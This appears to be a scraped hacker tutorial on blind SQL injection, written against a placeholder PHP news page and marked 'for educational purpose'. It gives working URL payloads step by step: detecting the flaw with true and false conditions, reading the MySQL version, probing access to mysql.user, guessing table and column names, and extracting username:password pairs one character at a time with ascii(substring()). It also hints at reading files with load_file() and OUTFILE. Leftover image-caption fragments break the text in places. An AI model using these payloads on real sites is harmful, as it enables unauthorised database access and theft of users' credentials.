Note : Only For Educational
Purpose.>!!!
Let's start with advanced stuff.
I will be using our example
http://www.site.com/news.php?id=5
when we execute this, we see some
articles on that page, pictures etc...
then when we want to test it for
blind sql injection attack
http://www.site.com/news.php?id=5 and
1=1 <--- this is always true
and the page loads normally, that's
ok.
now the real test
http://www.site.com/news.php?id=5 and
1=2 <--- this is false
so if some text, picture or some
content is missing on returned page then that
site is vulrnable to blind sql
injection.
.jpg "sql injection")
1) Get the MySQL version
to get the version in blind attack we
use substring
i.e
http://www.site.com/news.php?id=5 and
substring(@@version,1,1)=4
this should return TRUE if the
version of MySQL is 4.
replace 4 with 5, and if query return
TRUE then the version is 5. i.e
http://www.site.com/news.php?id=5 and
substring(@@version,1,1)=5
2) Test if subselect works
when select don't work then we use
subselect
i.e http://www.site.com/news.php?id=5
and (select 1)=1
if page loads normally then
subselects work.
then we gonna see if we have access
to mysql.user
i.e
http://www.site.com/news.php?id=5 and
(select 1 from mysql.user limit
0,1)=1
if page loads normally we have access
to mysql.user and then later we can pull
some password usign load_file()
function and OUTFILE.
3). Check table and column names
This is part when guessing is the
best friend :)
i.e.
http://www.site.com/news.php?id=5 and
(select 1 from users limit 0,1)=1
(with limit 0,1 our query here
returns 1 row of data, cause subselect returns
only 1 row, this is very important.)
then if the page loads normally
without content missing, the table users exits.
if you get FALSE (some article
missing), just change table name until you
guess the right one :)
let's say that we have found that
table name is users, now what we need is
column name.
the same as table name, we start
guessing. Like i said before try the common
names for columns.
i.e
http://www.site.com/news.php?id=5 and
(select
substring(concat(1,password),1,1)
from users limit 0,1)=1
if the page loads normally we know
that column name is password (if we get
false then try common names or just
guess)
here we merge 1 with the column
password, then substring returns the first
character (,1,1)
4). Pull data from database
we found table users i columns
username password so we gonna pull
characters from that.
http://www.site.com/news.php?id=5 and
ascii(substring((SELECT
concat(username,0x3a,password) from
users limit 0,1),1,1))>80
ok this here pulls the first
character from first user in table users.
substring here returns first
character and 1 character in length. ascii()
converts that 1 character into ascii
value
and then compare it with simbol
greater then > .
so if the ascii char greater then 80,
the page loads normally. (TRUE)
we keep trying until we get false.
http://www.site.com/news.php?id=5 and
ascii(substring((SELECT
concat(username,0x3a,password) from
users limit 0,1),1,1))>95
we get TRUE, keep incrementing
http://www.site.com/news.php?id=5 and
ascii(substring((SELECT
concat(username,0x3a,password) from
users limit 0,1),1,1))>98
.jpg "how to make pc faster")
.jpg)